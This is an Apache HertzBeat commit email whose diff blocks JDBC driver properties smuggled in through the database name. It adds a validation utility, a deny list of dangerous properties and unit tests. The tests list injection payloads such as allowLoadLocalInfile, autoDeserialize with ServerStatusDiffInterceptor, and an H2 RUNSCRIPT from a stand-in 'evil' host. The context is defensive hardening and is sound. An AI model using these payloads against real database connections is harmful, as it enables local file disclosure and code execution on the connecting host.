This is an automated email from the ASF dual-hosted git repository.
zqr10159 pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/hertzbeat.git
The following commit(s) were added to refs/heads/master by this push:
new 6897c8720b [fix] stop jdbc connection properties injected through the
database name (#4299)
6897c8720b is described below
commit 6897c8720b717cab33f9de874883e2f5b999c0ac
Author: Duansg <[email protected]>
AuthorDate: Mon Aug 3 09:52:51 2026 +0800
[fix] stop jdbc connection properties injected through the database name
(#4299)
---
.../hertzbeat/ai/tools/impl/DatabaseToolsImpl.java | 19 ++++-
.../collect/database/JdbcCommonCollect.java | 24 ++++--
.../collect/database/JdbcCommonCollectTest.java | 23 +++++
.../hertzbeat/common/util/JdbcUrlSafetyUtil.java | 99 ++++++++++++++++++++++
.../common/util/JdbcUrlSafetyUtilTest.java | 90 ++++++++++++++++++++
5 files changed, 243 insertions(+), 12 deletions(-)
diff --git
a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
index 285731c0ab..fea163a507 100644
---
a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
+++
b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
@@ -30,6 +30,9 @@ import org.apache.hertzbeat.ai.tools.DatabaseTools;
import org.apache.hertzbeat.common.entity.manager.Monitor;
import org.apache.hertzbeat.common.entity.manager.Param;
import org.apache.hertzbeat.common.util.AesUtil;
+import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.IpDomainUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
import org.apache.hertzbeat.manager.pojo.dto.MonitorDto;
import org.apache.hertzbeat.manager.service.MonitorService;
import org.springframework.ai.tool.annotation.Tool;
@@ -240,11 +243,21 @@ public class DatabaseToolsImpl implements DatabaseTools {
private String buildJdbcUrl(String platform, String host, String port,
String database) {
String effectivePort = (port == null || port.isEmpty()) ? "3306" :
port;
- String effectiveDb = (database == null || database.isEmpty()) ? "" :
database;
-
- return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
+ // host, port and database come from monitor parameters and are
concatenated into the url,
+ // so they must not carry url syntax of their own
+ String effectiveDb =
JdbcUrlSafetyUtil.requireSafeDatabaseName(database);
+ if (!IpDomainUtil.validateIpDomain(host)) {
+ throw new IllegalArgumentException("Invalid database host: " +
host);
+ }
+ if (!CommonUtil.isNumeric(effectivePort)) {
+ throw new IllegalArgumentException("Invalid database port: " +
effectivePort);
+ }
+
+ String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" +
effectiveDb
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false"
+ "&allowPublicKeyRetrieval=true&connectTimeout=5000";
+ JdbcUrlSafetyUtil.requireSafeJdbcUrl(url);
+ return url;
}
private String executeAndFormat(String url, String username, String
password,
diff --git
a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
index 7be1a44ce9..e2aafac505 100644
---
a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
+++
b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
@@ -46,6 +46,7 @@ import org.apache.hertzbeat.common.entity.job.SshTunnel;
import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol;
import org.apache.hertzbeat.common.entity.message.CollectRep;
import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
import org.apache.sshd.common.SshException;
import org.apache.sshd.common.channel.exception.SshChannelOpenException;
import org.postgresql.util.PSQLException;
@@ -605,28 +606,33 @@ public class JdbcCommonCollect extends AbstractCollect {
return url;
}
assert jdbcProtocol.getPlatform() != null;
- return switch (jdbcProtocol.getPlatform()) {
+ // the database name is concatenated into the url below, so it must
not carry url syntax
+ String database =
JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase());
+ String constructedUrl = switch (jdbcProtocol.getPlatform()) {
case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase())
+ + "/" + database
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
case "xugu" -> "jdbc:xugu://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "postgresql" -> "jdbc:postgresql://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port
- + ";" + (jdbcProtocol.getDatabase() == null ? "" :
"DatabaseName=" + jdbcProtocol.getDatabase())
+ + ";" + (database.isEmpty() ? "" : "DatabaseName=" +
database)
+ ";trustServerCertificate=true;";
case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "dm" -> "jdbc:dm://" + host + ":" + port;
case "db2" -> "jdbc:db2://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "testcontainers" -> "jdbc:tc:" + host + ":" + port
- + ":///" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase()) + "?user=root&password=root";
+ + ":///" + database + "?user=root&password=root";
default -> throw new IllegalArgumentException("Not support
database platform: " + jdbcProtocol.getPlatform());
};
+ // fail closed if any concatenated value still smuggled a driver
property through
+ JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl);
+ return constructedUrl;
}
private static final class ResultSetJdbcQueryRowSet implements
JdbcQueryRowSet {
diff --git
a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
index 3c10a31765..efede36cab 100644
---
a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
+++
b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
@@ -185,6 +185,29 @@ class JdbcCommonCollectTest {
assertEquals("Not support database platform: invalid",
exception.getMessage());
}
+ /**
+ * The url blacklist only guards a user supplied url. Driver properties
smuggled through the
+ * database name reach the very same connection, so they have to be
rejected too.
+ */
+ @Test
+ void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() {
+ String[] payloads = {
+ "test?allowLoadLocalInfile=true&z=",
+
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+ "test&useSSL=false",
+ };
+ for (String payload : payloads) {
+ JdbcProtocol jdbcProtocol = JdbcProtocol.builder()
+ .platform("mysql")
+ .database(payload)
+ .build();
+
+ assertThrows(IllegalArgumentException.class,
+ () -> constructDatabaseUrl(jdbcCommonCollect,
jdbcProtocol, "localhost", "3306"),
+ "database name should be rejected: " + payload);
+ }
+ }
+
@Test
void testCloseConnectionWhenCreateStatementFails() throws Exception {
String url = "jdbc:postgresql://localhost:5432/hertzbeat";
diff --git
a/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
new file mode 100644
index 0000000000..319381c5cb
--- /dev/null
+++
b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
@@ -0,0 +1,99 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+/**
+ * Safety helpers for building JDBC connection urls from user supplied monitor
parameters.
+ *
+ * <p>Connection parameters such as the database name are concatenated into
the jdbc url. Without
+ * restriction a value like {@code db?allowLoadLocalInfile=true} injects
arbitrary driver properties,
+ * which a malicious database server turns into local file disclosure or
deserialization on the
+ * connecting jvm. The url blacklist only guards the url a user types in
directly, so every other
+ * value that reaches the url has to be constrained here.
+ */
+public final class JdbcUrlSafetyUtil {
+
+ /**
+ * Identifier characters accepted in a database or schema name.
Deliberately excludes the
+ * characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; #
space}.
+ */
+ private static final Pattern DATABASE_NAME_PATTERN =
Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$");
+
+ /**
+ * Driver properties that turn a connection into a client side attack.
Checked against the
+ * assembled url so a concatenation mistake anywhere still fails closed.
+ */
+ private static final String[] DANGEROUS_URL_PROPERTIES = {
+ // file IO - lets a malicious server read files from the
connecting host
+ "allowloadlocalinfile", "allowloadlocalinfileinpath",
"uselocalinfile",
+ // code execution and deserialization
+ "autodeserialize", "detectcustomcollations", "queryinterceptors",
"statementinterceptors",
+ "exceptioninterceptors", "javaobjectserializer",
"serverstatusdiffinterceptor",
+ "socketfactory", "init=", "runscript",
+ // multi statement execution
+ "allowmultiqueries",
+ // remote object lookup
+ "jndi:", "ldap:", "rmi:",
+ };
+
+ private JdbcUrlSafetyUtil() {
+ }
+
+ /**
+ * Validate a database or schema name that is about to be concatenated
into a jdbc url.
+ *
+ * @param database database name, may be null or empty
+ * @return the database name, or an empty string when nothing was supplied
+ * @throws IllegalArgumentException when the name contains jdbc url syntax
+ */
+ public static String requireSafeDatabaseName(String database) {
+ if (database == null || database.isEmpty()) {
+ return "";
+ }
+ if (!DATABASE_NAME_PATTERN.matcher(database).matches()) {
+ throw new IllegalArgumentException("Invalid database name: only
letters, digits, "
+ + "'_', '$', '.' and '-' are allowed, up to 64
characters");
+ }
+ return database;
+ }
+
+ /**
+ * Reject an assembled jdbc url that carries a driver property known to be
attacker useful.
+ *
+ * <p>Applies to urls this project builds itself. Urls typed in by a user
go through the wider
+ * platform aware checks in the collector before reaching here.
+ *
+ * @param url assembled jdbc url
+ * @throws IllegalArgumentException when a dangerous property is present
+ */
+ public static void requireSafeJdbcUrl(String url) {
+ if (url == null || url.isEmpty()) {
+ return;
+ }
+ String normalized =
url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", "");
+ for (String property : DANGEROUS_URL_PROPERTIES) {
+ if (normalized.contains(property)) {
+ throw new IllegalArgumentException(
+ "Invalid JDBC URL: contains potentially malicious
parameter: " + property);
+ }
+ }
+ }
+}
diff --git
a/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
new file mode 100644
index 0000000000..72ef271334
--- /dev/null
+++
b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
@@ -0,0 +1,90 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+/**
+ * Test case for {@link JdbcUrlSafetyUtil}
+ */
+class JdbcUrlSafetyUtilTest {
+
+ @Test
+ void testAcceptsOrdinaryDatabaseNames() {
+ assertEquals("hertzbeat",
JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat"));
+ assertEquals("my_db-1",
JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1"));
+ assertEquals("orcl.example.com",
JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com"));
+ assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null));
+ assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(""));
+ }
+
+ @ValueSource(strings = {
+ // the payload that turns a monitor into local file disclosure on the
collector
+ "test?allowLoadLocalInfile=true&z=",
+
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+ // any character that carries jdbc url meaning has to be refused
+ "db&user=root",
+ "db=x",
+ "db/../other",
+ "db;DatabaseName=other",
+ "db:1234",
+ "db#fragment",
+ "db name",
+ "?leadingQuestion",
+ })
+ @ParameterizedTest
+ void testRejectsDatabaseNamesCarryingUrlSyntax(String database) {
+ assertThrows(IllegalArgumentException.class,
+ () -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database));
+ }
+
+ @Test
+ void testRejectsDatabaseNameOverLength() {
+ assertThrows(IllegalArgumentException.class,
+ () ->
JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65)));
+ }
+
+ @Test
+ void testAcceptsUrlsThisProjectBuilds() {
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+
"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+
"jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+ "jdbc:oracle:thin:@localhost:1521/orcl"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null));
+ }
+
+ @ValueSource(strings = {
+ "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true",
+ "jdbc:mysql://localhost:3306/test?autoDeserialize=true",
+ "jdbc:mysql://localhost:3306/test?queryInterceptors=x",
+ "jdbc:mysql://localhost:3306/test?allowMultiQueries=true",
+ "jdbc:postgresql://localhost:5432/test?socketFactory=x",
+ "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'",
+ })
+ @ParameterizedTest
+ void testRejectsUrlsCarryingDangerousDriverProperties(String url) {
+ assertThrows(IllegalArgumentException.class, () ->
JdbcUrlSafetyUtil.requireSafeJdbcUrl(url));
+ }
+}
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]